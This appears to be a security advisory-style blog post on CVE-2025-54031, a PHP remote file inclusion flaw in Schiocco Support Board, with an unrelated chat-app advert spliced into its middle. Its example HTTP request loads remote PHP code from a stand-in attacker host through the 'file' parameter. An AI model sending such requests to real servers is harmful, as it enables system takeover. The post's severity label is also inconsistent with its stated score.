Overview
The cybersecurity landscape is constantly evolving with new threats and vulnerabilities emerging every day. One such vulnerability with a high severity score that has recently come to light is CVE-2025-54031. This vulnerability specifically impacts Schiocco Support Board, a popular PHP-based software, and has the potential to wreak havoc if exploited by malicious attackers. This vulnerability caught the attention of cybersecurity professionals due to its high CVSS Severity Score of 8.1, indicating its potential for significant damage.
Vulnerability Summary
CVE ID: CVE-2025-54031
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or potential data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Schiocco Support Board | Up to and including 3.8.0
How the Exploit Works
The vulnerability CVE-2025-54031 involves an insecure handling of filenames in PHP’s Include/Require Statement, which can lead to PHP Remote File Inclusion (RFI). An attacker can exploit this flaw by manipulating the Include/Require Statement to load a remote file from a server of their choosing, allowing them to run arbitrary PHP code within the application’s context. This can lead to a full takeover of the system running the vulnerable application.
Conceptual Example Code
The following is a conceptual example showing how an attacker might leverage this vulnerability. Please note that this is a simplified representation and actual exploit may require more complex manipulations.
GET /support-board/index.php?file=http://attacker.com/malicious-code.php HTTP/1.1
Host: target.example.comIn this example, the attacker has manipulated the `file` parameter to load a malicious PHP script (`malicious-code.php`) from their server (`attacker.com`). This script is then executed in the context of the vulnerable application, potentially leading to a system compromise.
Remediation
To mitigate the impact of this vulnerability, it is advised to apply the vendor’s patch once it is available. Until then, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be effective temporary measures to prevent potential exploitation. It is also recommended to follow a principle of least privilege, ensuring that applications only have the minimal privileges they require to function.
